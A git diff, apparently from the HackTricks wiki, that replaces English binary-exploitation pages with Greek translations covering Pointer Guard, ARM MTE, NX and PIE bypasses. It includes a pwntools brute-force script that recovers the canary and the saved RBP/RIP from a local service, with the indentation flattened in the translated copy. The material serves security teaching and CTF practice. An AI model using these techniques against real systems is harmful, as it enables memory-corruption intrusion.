hijacking control flow by overwriting function pointers. +Ο δείκτης φρουρού είναι μια τεχνική μετριασμού εκμετάλλευσης που χρησιμοποιείται στη glibc για την προστασία των αποθηκευμένων δεικτών συναρτήσεων, ιδιαίτερα αυτών που καταχωρούνται από κλήσεις βιβλιοθήκης όπως το `atexit()`. Αυτή η προστασία περιλαμβάνει την ανακατεύθυνση των δεικτών με XORαρισμα τους με ένα μυστικό που αποθηκεύεται στα δεδομένα νήματος (`fs:0x30`) και την εφαρμογή μιας μετατόπισης bit. Αυτός ο μηχανισμός στοχεύει να αποτρέψει τους επιτιθέμενους από το να αναλάβουν τον έλεγχο της ροής εκτέλεσης επικαλύπτοντας τους δείκτες συναρτήσεων. ### **Bypassing Pointer Guard with a leak** -1. **Understanding Pointer Guard Operations:** The scrambling (mangling) of pointers is done using the `PTR_MANGLE` macro which XORs the pointer with a 64-bit secret and then performs a left rotation of 0x11 bits. The reverse operation for recovering the original pointer is handled by `PTR_DEMANGLE`. -2. **Attack Strategy:** The attack is based on a known-plaintext approach, where the attacker needs to know both the original and the mangled versions of a pointer to deduce the secret used for mangling. -3. **Exploiting Known Plaintexts:** - - **Identifying Fixed Function Pointers:** By examining glibc source code or initialized function pointer tables (like `__libc_pthread_functions`), an attacker can find predictable function pointers. - - **Computing the Secret:** Using a known function pointer such as `__pthread_attr_destroy` and its mangled version from the function pointer table, the secret can be calculated by reverse rotating (right rotation) the mangled pointer and then XORing it with the address of the function. -4. **Alternative Plaintexts:** The attacker can also experiment with mangling pointers with known values like 0 or -1 to see if these produce identifiable patterns in memory, potentially revealing the secret when these patterns are found in memory dumps. -5. **Practical Application:** After computing the secret, an attacker can manipulate pointers in a controlled manner, essentially bypassing the Pointer Guard protection in a multithreaded application with knowledge of the libc base address and an ability to read arbitrary memory locations. +1. **Κατανόηση των Λειτουργιών του Pointer Guard:** Η ανακατεύθυνση (παραμόρφωση) των δεικτών γίνεται χρησιμοποιώντας το μακροεντολή `PTR_MANGLE` που XORαριστεί τον δείκτη με ένα 64-bit μυστικό και στη συνέχεια εκτελεί μια αριστερή μετατόπιση 0x11 bit. Η αντίστροφη λειτουργία για την ανάκτηση του αρχικού δείκτη διαχειρίζεται από το `PTR_DEMANGLE`. +2. **Στρατηγική Επίθεσης:** Η επίθεση βασίζεται σε μια προσέγγιση γνωστού κειμένου, όπου ο επιτιθέμενος πρέπει να γνωρίζει τόσο την αρχική όσο και την παραμορφωμένη έκδοση ενός δείκτη για να deduce το μυστικό που χρησιμοποιήθηκε για την παραμόρφωση. +3. **Εκμετάλλευση Γνωστών Κειμένων:** +- **Εντοπισμός Σταθερών Δεικτών Συναρτήσεων:** Εξετάζοντας τον πηγαίο κώδικα της glibc ή τους πίνακες δεικτών συναρτήσεων που έχουν αρχικοποιηθεί (όπως `__libc_pthread_functions`), ένας επιτιθέμενος μπορεί να βρει προβλέψιμους δείκτες συναρτήσεων. +- **Υπολογισμός του Μυστικού:** Χρησιμοποιώντας έναν γνωστό δείκτη συναρτήσεων όπως το `__pthread_attr_destroy` και την παραμορφωμένη έκδοση του από τον πίνακα δεικτών συναρτήσεων, το μυστικό μπορεί να υπολογιστεί με την αντίστροφη μετατόπιση (δεξιά μετατόπιση) του παραμορφωμένου δείκτη και στη συνέχεια XORαρισμα του με τη διεύθυνση της συνάρτησης. +4. **Εναλλακτικά Κείμενα:** Ο επιτιθέμενος μπορεί επίσης να πειραματιστεί με την παραμόρφωση δεικτών με γνωστές τιμές όπως 0 ή -1 για να δει αν αυτές παράγουν αναγνωρίσιμα μοτίβα στη μνήμη, αποκαλύπτοντας ενδεχομένως το μυστικό όταν αυτά τα μοτίβα βρεθούν σε εκφορτώσεις μνήμης. +5. **Πρακτική Εφαρμογή:** Αφού υπολογιστεί το μυστικό, ένας επιτιθέμενος μπορεί να χειραγωγήσει τους δείκτες με ελεγχόμενο τρόπο, ουσιαστικά παρακάμπτοντας την προστασία Pointer Guard σε μια πολυνηματική εφαρμογή με γνώση της διεύθυνσης βάσης libc και ικανότητα ανάγνωσης αυθαίρετων τοποθεσιών μνήμης. ## References diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md index 43980bbca..545e316dc 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md @@ -4,80 +4,78 @@ ## Basic Information -**Memory Tagging Extension (MTE)** is designed to enhance software reliability and security by **detecting and preventing memory-related errors**, such as buffer overflows and use-after-free vulnerabilities. MTE, as part of the **ARM** architecture, provides a mechanism to attach a **small tag to each memory allocation** and a **corresponding tag to each pointer** referencing that memory. This approach allows for the detection of illegal memory accesses at runtime, significantly reducing the risk of exploiting such vulnerabilities for executing arbitrary code. +**Memory Tagging Extension (MTE)** έχει σχεδιαστεί για να ενισχύει την αξιοπιστία και την ασφάλεια του λογισμικού με την **ανίχνευση και την πρόληψη σφαλμάτων που σχετίζονται με τη μνήμη**, όπως οι υπερβάσεις buffer και οι ευπάθειες use-after-free. Το MTE, ως μέρος της **ARM** αρχιτεκτονικής, παρέχει έναν μηχανισμό για την προσθήκη ενός **μικρού tag σε κάθε κατανομή μνήμης** και ενός **αντίστοιχου tag σε κάθε δείκτη** που αναφέρεται σε αυτή τη μνήμη. Αυτή η προσέγγιση επιτρέπει την ανίχνευση παράνομων προσβάσεων μνήμης κατά την εκτέλεση, μειώνοντας σημαντικά τον κίνδυνο εκμετάλλευσης τέτοιων ευπαθειών για την εκτέλεση αυθαίρετου κώδικα. ### **How Memory Tagging Extension Works** -MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size. +Το MTE λειτουργεί με **διαίρεση της μνήμης σε μικρές, σταθερού μεγέθους μπλοκ, με κάθε μπλοκ να έχει ανατεθεί ένα tag,** συνήθως μερικά bits σε μέγεθος. -When a pointer is created to point to that memory, it gets the same tag. This tag is stored in the **unused bits of a memory pointer**, effectively linking the pointer to its corresponding memory block. +Όταν δημιουργείται ένας δείκτης για να δείξει σε αυτή τη μνήμη, αποκτά το ίδιο tag. Αυτό το tag αποθηκεύεται στα **αχρησιμοποίητα bits ενός δείκτη μνήμης**, συνδέοντας αποτελεσματικά τον δείκτη με το αντίστοιχο μπλοκ μνήμης.

https://www.youtube.com/watch?v=UwMt0e_dC_Q

-When a program accesses memory through a pointer, the MTE hardware checks that the **pointer's tag matches the memory block's tag**. If the tags **do not match**, it indicates an **illegal memory access.** +Όταν ένα πρόγραμμα προσπελάσει τη μνήμη μέσω ενός δείκτη, το υλικό MTE ελέγχει ότι το **tag του δείκτη ταιριάζει με το tag του μπλοκ μνήμης**. Εάν τα tags **δεν ταιριάζουν**, αυτό υποδεικνύει μια **παράνομη πρόσβαση μνήμης.** ### MTE Pointer Tags -Tags inside a pointer are stored in 4 bits inside the top byte: +Τα tags μέσα σε έναν δείκτη αποθηκεύονται σε 4 bits μέσα στο ανώτερο byte:

https://www.youtube.com/watch?v=UwMt0e_dC_Q

-Therefore, this allows up to **16 different tag values**. +Επομένως, αυτό επιτρέπει έως **16 διαφορετικές τιμές tag**. ### MTE Memory Tags -Every **16B of physical memory** have a corresponding **memory tag**. +Κάθε **16B φυσικής μνήμης** έχει ένα αντίστοιχο **tag μνήμης**. -The memory tags are stored in a **dedicated RAM region** (not accessible for normal usage). Having 4bits tags for every 16B memory tags up to 3% of RAM. - -ARM introduces the following instructions to manipulate these tags in the dedicated RAM memory: +Τα tags μνήμης αποθηκεύονται σε μια **αφιερωμένη περιοχή RAM** (μη προσβάσιμη για κανονική χρήση). Έχοντας 4 bits tags για κάθε 16B tags μνήμης έως 3% της RAM. +Η ARM εισάγει τις παρακάτω εντολές για να χειριστεί αυτά τα tags στη αφιερωμένη μνήμη RAM: ``` STG [], # Store Allocation (memory) Tag LDG , [] Load Allocatoin (memory) Tag IRG , Insert Random [pointer] Tag ... ``` +## Έλεγχος Λειτουργιών -## Checking Modes +### Συγχρονισμένος -### Sync +Ο CPU ελέγχει τις ετικέτες **κατά την εκτέλεση της εντολής**, αν υπάρχει ασυμφωνία, προκαλεί μια εξαίρεση.\ +Αυτός είναι ο πιο αργός και ασφαλής τρόπος. -The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception.\ -This is the slowest and most secure. +### Ασύγχρονος -### Async +Ο CPU ελέγχει τις ετικέτες **ασύγχρονα**, και όταν βρεθεί μια ασυμφωνία, θέτει ένα bit εξαίρεσης σε μία από τις καταχωρήσεις του συστήματος. Είναι **ταχύτερος** από τον προηγούμενο αλλά είναι **ανίκανος να υποδείξει** την ακριβή εντολή που προκαλεί την ασυμφωνία και δεν προκαλεί την εξαίρεση αμέσως, δίνοντας λίγο χρόνο στον επιτιθέμενο να ολοκληρώσει την επίθεσή του. -The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately, giving some time to the attacker to complete his attack. - -### Mixed +### Μικτός ??? -## Implementation & Detection Examples +## Παραδείγματα Υλοποίησης & Ανίχνευσης -Called Hardware Tag-Based KASAN, MTE-based KASAN or in-kernel MTE.\ -The kernel allocators (like `kmalloc`) will **call this module** which will prepare the tag to use (randomly) attach it to the kernel space allocated and to the returned pointer. +Ονομάζεται Hardware Tag-Based KASAN, MTE-based KASAN ή in-kernel MTE.\ +Οι αλγόριθμοι του πυρήνα (όπως το `kmalloc`) θα **καλέσουν αυτό το module** το οποίο θα προετοιμάσει την ετικέτα για χρήση (τυχαία) και θα την επισυνάψει στη μνήμη του πυρήνα που έχει εκχωρηθεί και στον επιστρεφόμενο δείκτη. -Note that it'll **only mark enough memory granules** (16B each) for the requested size. So if the requested size was 35 and a slab of 60B was given, it'll mark the first 16\*3 = 48B with this tag and the **rest** will be **marked** with a so-called **invalid tag (0xE)**. +Σημειώστε ότι θα **σημειώσει μόνο αρκετές μνήμες** (16B η καθεμία) για το ζητούμενο μέγεθος. Έτσι, αν το ζητούμενο μέγεθος ήταν 35 και δόθηκε μια πλάκα 60B, θα σημειώσει τα πρώτα 16\*3 = 48B με αυτή την ετικέτα και το **υπόλοιπο** θα είναι **σημειωμένο** με μια λεγόμενη **άκυρη ετικέτα (0xE)**. -The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MET from detecting an attack if this tags is being used in the attacked memory. +Η ετικέτα **0xF** είναι η **ετικέτα που ταιριάζει σε όλους τους δείκτες**. Μια μνήμη με αυτόν τον δείκτη επιτρέπει **οποιαδήποτε ετικέτα να χρησιμοποιηθεί** για την πρόσβαση στη μνήμη της (χωρίς ασυμφωνίες). Αυτό θα μπορούσε να αποτρέψει το MET από το να ανιχνεύσει μια επίθεση αν αυτή η ετικέτα χρησιμοποιείται στη μνήμη που δέχεται την επίθεση. -Therefore there are only **14 value**s that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**. +Επομένως, υπάρχουν μόνο **14 τιμές** που μπορούν να χρησιμοποιηθούν για τη δημιουργία ετικετών καθώς οι 0xE και 0xF είναι δεσμευμένες, δίνοντας πιθανότητα **επανάχρησης ετικετών** 1/17 -> περίπου **7%**. -If the kernel access to the **invalid tag granule**, the **mismatch** will be **detected**. If it access another memory location, if the **memory has a different tag** (or the invalid tag) the mismatch will be **detected.** If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7% +Αν ο πυρήνας έχει πρόσβαση στην **άκυρη μνήμη**, η **ασυμφωνία** θα **ανιχνευθεί**. Αν έχει πρόσβαση σε άλλη τοποθεσία μνήμης, αν η **μνήμη έχει διαφορετική ετικέτα** (ή την άκυρη ετικέτα) η ασυμφωνία θα **ανιχνευθεί**. Αν ο επιτιθέμενος είναι τυχερός και η μνήμη χρησιμοποιεί την ίδια ετικέτα, δεν θα ανιχνευθεί. Οι πιθανότητες είναι περίπου 7%. -Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 til 47 are using the same tag** but they weren't requested. If the attacker access **these extra bytes, this isn't detected**. +Ένα άλλο σφάλμα συμβαίνει στην **τελευταία μνήμη** της εκχωρημένης μνήμης. Αν η εφαρμογή ζητήσει 35B, θα της δοθεί η μνήμη από 32 έως 48. Επομένως, τα **bytes από 36 έως 47 χρησιμοποιούν την ίδια ετικέτα** αλλά δεν ζητήθηκαν. Αν ο επιτιθέμενος έχει πρόσβαση **σε αυτά τα επιπλέον bytes, αυτό δεν ανιχνεύεται**. -When **`kfree()`** is executed, the memory is retagged with the invalid memory tag, so in a **use-after-free**, when the memory is accessed again, the **mismatch is detected**. +Όταν εκτελείται το **`kfree()`**, η μνήμη επανασημαίνεται με την άκυρη ετικέτα μνήμης, έτσι σε μια **χρήση μετά την απελευθέρωση**, όταν η μνήμη προσπελαστεί ξανά, η **ασυμφωνία ανιχνεύεται**. -However, in a use-after-free, if the same **chunk is reallocated again with the SAME tag** as previously, an attacker will be able to use this access and this won't be detected (around 7% chance). +Ωστόσο, σε μια χρήση μετά την απελευθέρωση, αν το ίδιο **κομμάτι επανακατανεμηθεί ξανά με την ΙΔΙΑ ετικέτα** όπως προηγουμένως, ένας επιτιθέμενος θα μπορέσει να χρησιμοποιήσει αυτή την πρόσβαση και αυτό δεν θα ανιχνευθεί (περίπου 7% πιθανότητα). -Moreover, only **`slab` and `page_alloc`** uses tagged memory but in the future this will also be used in `vmalloc`, `stack` and `globals` (at the moment of the video these can still be abused). +Επιπλέον, μόνο οι **`slab` και `page_alloc`** χρησιμοποιούν ετικετοποιημένη μνήμη αλλά στο μέλλον αυτό θα χρησιμοποιηθεί επίσης σε `vmalloc`, `stack` και `globals` (τη στιγμή του βίντεο αυτά μπορούν ακόμα να καταχραστούν). -When a **mismatch is detected** the kernel will **panic** to prevent further exploitation and retries of the exploit (MTE doesn't have false positives). +Όταν ανιχνεύεται μια **ασυμφωνία**, ο πυρήνας θα **πανικοβληθεί** για να αποτρέψει περαιτέρω εκμετάλλευση και επαναλήψεις της εκμετάλλευσης (το MTE δεν έχει ψευδώς θετικά). -## References +## Αναφορές - [https://www.youtube.com/watch?v=UwMt0e_dC_Q](https://www.youtube.com/watch?v=UwMt0e_dC_Q) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md index 376dfe6c4..c71bf5e09 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md @@ -4,13 +4,13 @@ ## Basic Information -The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel terminology, is a hardware-based security feature designed to **mitigate** the effects of **buffer overflow** attacks. When implemented and enabled, it distinguishes between memory regions that are intended for **executable code** and those meant for **data**, such as the **stack** and **heap**. The core idea is to prevent an attacker from executing malicious code through buffer overflow vulnerabilities by putting the malicious code in the stack for example and directing the execution flow to it. +Το **No-Execute (NX)** bit, γνωστό και ως **Execute Disable (XD)** στην ορολογία της Intel, είναι μια χαρακτηριστική ασφάλειας βασισμένη σε υλικό που έχει σχεδιαστεί για να **μειώνει** τις επιπτώσεις των επιθέσεων **buffer overflow**. Όταν εφαρμοστεί και ενεργοποιηθεί, διακρίνει μεταξύ περιοχών μνήμης που προορίζονται για **εκτελέσιμο κώδικα** και εκείνων που προορίζονται για **δεδομένα**, όπως η **στοίβα** και η **σωρός**. Η βασική ιδέα είναι να αποτραπεί η εκτέλεση κακόβουλου κώδικα από έναν επιτιθέμενο μέσω ευπαθειών buffer overflow, τοποθετώντας τον κακόβουλο κώδικα στη στοίβα, για παράδειγμα, και κατευθύνοντας τη ροή εκτέλεσης σε αυτόν. ## Bypasses -- It's possible to use techniques such as [**ROP**](../rop-return-oriented-programing/) **to bypass** this protection by executing chunks of executable code already present in the binary. - - [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) - - [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) - - **Ret2...** +- Είναι δυνατόν να χρησιμοποιηθούν τεχνικές όπως [**ROP**](../rop-return-oriented-programing/) **για να παρακαμφθεί** αυτή η προστασία εκτελώντας κομμάτια εκτελέσιμου κώδικα που είναι ήδη παρόντα στο δυαδικό. +- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) +- **Ret2...** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md index 99a33743d..588480b6b 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md @@ -4,26 +4,26 @@ ## Basic Information -A binary compiled as PIE, or **Position Independent Executable**, means the **program can load at different memory locations** each time it's executed, preventing hardcoded addresses. +Ένα δυαδικό αρχείο που έχει μεταγλωττιστεί ως PIE, ή **Position Independent Executable**, σημαίνει ότι το **πρόγραμμα μπορεί να φορτωθεί σε διαφορετικές διευθύνσεις μνήμης** κάθε φορά που εκτελείται, αποτρέποντας τις σκληροκωδικοποιημένες διευθύνσεις. -The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**. +Το κόλπο για να εκμεταλλευτείτε αυτά τα δυαδικά αρχεία έγκειται στην εκμετάλλευση των **σχετικών διευθύνσεων**—οι αποστάσεις μεταξύ των μερών του προγράμματος παραμένουν οι ίδιες ακόμη και αν οι απόλυτες τοποθεσίες αλλάξουν. Για να **παρακάμψετε το PIE, χρειάζεται μόνο να διαρρεύσετε μία διεύθυνση**, συνήθως από τη **στοίβα** χρησιμοποιώντας ευπάθειες όπως οι επιθέσεις μορφοποίησης συμβολοσειρών. Μόλις έχετε μια διεύθυνση, μπορείτε να υπολογίσετε άλλες με τις **σταθερές αποστάσεις** τους. -A helpful hint in exploiting PIE binaries is that their **base address typically ends in 000** due to memory pages being the units of randomization, sized at 0x1000 bytes. This alignment can be a critical **check if an exploit isn't working** as expected, indicating whether the correct base address has been identified.\ -Or you can use this for your exploit, if you leak that an address is located at **`0x649e1024`** you know that the **base address is `0x649e1000`** and from the you can just **calculate offsets** of functions and locations. +Μια χρήσιμη ένδειξη στην εκμετάλλευση δυαδικών αρχείων PIE είναι ότι η **βάση τους συνήθως τελειώνει σε 000** λόγω των σελίδων μνήμης που είναι οι μονάδες τυχαίας κατανομής, με μέγεθος 0x1000 bytes. Αυτή η ευθυγράμμιση μπορεί να είναι μια κρίσιμη **έλεγχος αν μια εκμετάλλευση δεν λειτουργεί** όπως αναμένεται, υποδεικνύοντας αν έχει προσδιοριστεί η σωστή βάση διεύθυνσης.\ +Ή μπορείτε να το χρησιμοποιήσετε για την εκμετάλλευσή σας, αν διαρρεύσετε ότι μια διεύθυνση βρίσκεται στη **`0x649e1024`** γνωρίζετε ότι η **βάση είναι `0x649e1000`** και από εκεί μπορείτε απλά να **υπολογίσετε τις αποστάσεις** των συναρτήσεων και των τοποθεσιών. ## Bypasses -In order to bypass PIE it's needed to **leak some address of the loaded** binary, there are some options for this: +Για να παρακάμψετε το PIE χρειάζεται να **διαρρεύσετε κάποια διεύθυνση του φορτωμένου** δυαδικού αρχείου, υπάρχουν μερικές επιλογές για αυτό: -- **Disabled ASLR**: If ASLR is disabled a binary compiled with PIE is always **going to be loaded in the same address**, therefore **PIE is going to be useless** as the addresses of the objects are always going to be in the same place. -- Be **given** the leak (common in easy CTF challenges, [**check this example**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) -- **Brute-force EBP and EIP values** in the stack until you leak the correct ones: +- **Απενεργοποιημένο ASLR**: Αν το ASLR είναι απενεργοποιημένο, ένα δυαδικό αρχείο που έχει μεταγλωττιστεί με PIE θα **φορτωθεί πάντα στην ίδια διεύθυνση**, επομένως το **PIE θα είναι άχρηστο** καθώς οι διευθύνσεις των αντικειμένων θα είναι πάντα στο ίδιο μέρος. +- Να **δοθεί** η διαρροή (συνηθισμένο σε εύκολες προκλήσεις CTF, [**ελέγξτε αυτό το παράδειγμα**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) +- **Brute-force EBP και EIP τιμές** στη στοίβα μέχρι να διαρρεύσετε τις σωστές: {{#ref}} bypassing-canary-and-pie.md {{#endref}} -- Use an **arbitrary read** vulnerability such as [**format string**](../../format-strings/) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). +- Χρησιμοποιήστε μια **τυχαία ανάγνωση** ευπάθεια όπως [**μορφοποίηση συμβολοσειράς**](../../format-strings/) για να διαρρεύσετε μια διεύθυνση του δυαδικού αρχείου (π.χ. από τη στοίβα, όπως στην προηγούμενη τεχνική) για να αποκτήσετε τη βάση του δυαδικού και να χρησιμοποιήσετε αποστάσεις από εκεί. [**Βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). ## References diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md index 996facccb..2a55c1d01 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md @@ -1,56 +1,55 @@ -# BF Addresses in the Stack +# BF Διευθύνσεις στη Στοίβα {{#include ../../../banners/hacktricks-training.md}} -**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** +**Αν αντιμετωπίζετε ένα δυαδικό αρχείο που προστατεύεται από ένα canary και PIE (Position Independent Executable) πιθανότατα χρειάζεστε να βρείτε έναν τρόπο να τα παρακάμψετε.** ![](<../../../images/image (865).png>) > [!NOTE] -> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ -> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. +> Σημειώστε ότι **`checksec`** μπορεί να μην βρει ότι ένα δυαδικό αρχείο προστατεύεται από ένα canary αν αυτό έχει στατικά μεταγλωττιστεί και δεν είναι ικανό να εντοπίσει τη λειτουργία.\ +> Ωστόσο, μπορείτε να το παρατηρήσετε χειροκίνητα αν βρείτε ότι μια τιμή αποθηκεύεται στη στοίβα στην αρχή μιας κλήσης λειτουργίας και αυτή η τιμή ελέγχεται πριν την έξοδο. -## Brute-Force Addresses +## Brute-Force Διευθύνσεις -In order to **bypass the PIE** you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\ -For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.** +Για να **παρακάμψετε το PIE** χρειάζεστε να **διαρρεύσετε κάποια διεύθυνση**. Και αν το δυαδικό αρχείο δεν διαρρέει καμία διεύθυνση, το καλύτερο που μπορείτε να κάνετε είναι να **brute-force το RBP και το RIP που αποθηκεύονται στη στοίβα** στη ευάλωτη λειτουργία.\ +Για παράδειγμα, αν ένα δυαδικό αρχείο προστατεύεται χρησιμοποιώντας τόσο ένα **canary** όσο και **PIE**, μπορείτε να ξεκινήσετε brute-forcing το canary, στη συνέχεια τα **επόμενα** 8 Bytes (x64) θα είναι το αποθηκευμένο **RBP** και τα **επόμενα** 8 Bytes θα είναι το αποθηκευμένο **RIP.** > [!TIP] -> It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case. - -To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP: +> Υποτίθεται ότι η διεύθυνση επιστροφής μέσα στη στοίβα ανήκει στον κύριο κώδικα του δυαδικού αρχείου, ο οποίος, αν η ευπάθεια βρίσκεται στον κώδικα του δυαδικού αρχείου, θα είναι συνήθως η περίπτωση. +Για να brute-force το RBP και το RIP από το δυαδικό αρχείο μπορείτε να καταλάβετε ότι ένα έγκυρο μαντεμένο byte είναι σωστό αν το πρόγραμμα εκτυπώνει κάτι ή απλά δεν καταρρέει. Η **ίδια λειτουργία** που παρέχεται για brute-forcing το canary μπορεί να χρησιμοποιηθεί για brute-force το RBP και το RIP: ```python from pwn import * def connect(): - r = remote("localhost", 8788) +r = remote("localhost", 8788) def get_bf(base): - canary = "" - guess = 0x0 - base += canary +canary = "" +guess = 0x0 +base += canary - while len(canary) < 8: - while guess != 0xff: - r = connect() +while len(canary) < 8: +while guess != 0xff: +r = connect() - r.recvuntil("Username: ") - r.send(base + chr(guess)) +r.recvuntil("Username: ") +r.send(base + chr(guess)) - if "SOME OUTPUT" in r.clean(): - print "Guessed correct byte:", format(guess, '02x') - canary += chr(guess) - base += chr(guess) - guess = 0x0 - r.close() - break - else: - guess += 1 - r.close() +if "SOME OUTPUT" in r.clean(): +print "Guessed correct byte:", format(guess, '02x') +canary += chr(guess) +base += chr(guess) +guess = 0x0 +r.close() +break +else: +guess += 1 +r.close() - print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) - return base +print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) +return base # CANARY BF HERE canary_offset = 1176 @@ -67,30 +66,25 @@ print("Brute-Forcing RIP") base_canary_rbp_rip = get_bf(base_canary_rbp) RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` +Το τελευταίο πράγμα που χρειάζεστε για να νικήσετε το PIE είναι να υπολογίσετε **χρήσιμες διευθύνσεις από τις διαρροές** διευθύνσεων: το **RBP** και το **RIP**. -The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**. - -From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP: - +Από το **RBP** μπορείτε να υπολογίσετε **πού γράφετε το shell σας στη στοίβα**. Αυτό μπορεί να είναι πολύ χρήσιμο για να γνωρίζετε πού θα γράψετε τη συμβολοσειρά _"/bin/sh\x00"_ μέσα στη στοίβα. Για να υπολογίσετε την απόσταση μεταξύ του διαρρεύσαντος RBP και του shellcode σας, μπορείτε απλά να βάλετε ένα **breakpoint μετά τη διαρροή του RBP** και να ελέγξετε **πού βρίσκεται το shellcode σας**, στη συνέχεια, μπορείτε να υπολογίσετε την απόσταση μεταξύ του shellcode και του RBP: ```python INI_SHELLCODE = RBP - 1152 ``` - -From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\ -To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses: +Από το **RIP** μπορείτε να υπολογίσετε τη **βάση διεύθυνση του εκτελέσιμου αρχείου PIE** που θα χρειαστείτε για να δημιουργήσετε μια **έγκυρη αλυσίδα ROP**.\ +Για να υπολογίσετε τη βάση διεύθυνση απλά εκτελέστε `objdump -d vunbinary` και ελέγξτε τις τελευταίες διευθύνσεις αποσυναρμολόγησης: ![](<../../../images/image (479).png>) -In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000` - +Σε αυτό το παράδειγμα μπορείτε να δείτε ότι χρειάζονται μόνο **1 Byte και μισό** για να εντοπίσετε όλο τον κώδικα, τότε, η βάση διεύθυνση σε αυτή την περίπτωση θα είναι το **leaked RIP αλλά τελειώνοντας σε "000"**. Για παράδειγμα, αν διαρρεύσατε `0x562002970ecf`, η βάση διεύθυνση είναι `0x562002970000` ```python elf.address = RIP - (RIP & 0xfff) ``` +## Βελτιώσεις -## Improvements +Σύμφωνα με [**ορισμένες παρατηρήσεις από αυτή την ανάρτηση**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), είναι πιθανό ότι όταν διαρρέουν οι τιμές RBP και RIP, ο διακομιστής δεν θα καταρρεύσει με ορισμένες τιμές που δεν είναι οι σωστές και το σενάριο BF θα νομίζει ότι έχει πάρει τις σωστές. Αυτό συμβαίνει επειδή είναι πιθανό ότι **ορισμένες διευθύνσεις απλώς δεν θα το σπάσουν ακόμη και αν δεν είναι ακριβώς οι σωστές**. -According to [**some observation from this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), it's possible that when leaking RBP and RIP values, the server won't crash with some values which aren't the correct ones and the BF script will think he got the good ones. This is because it's possible that **some addresses just won't break it even if there aren't exactly the correct ones**. - -According to that blog post it's recommended to add a short delay between requests to the server is introduced. +Σύμφωνα με αυτή την ανάρτηση στο blog, συνιστάται να προστίθεται μια σύντομη καθυστέρηση μεταξύ των αιτημάτων προς τον διακομιστή. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md 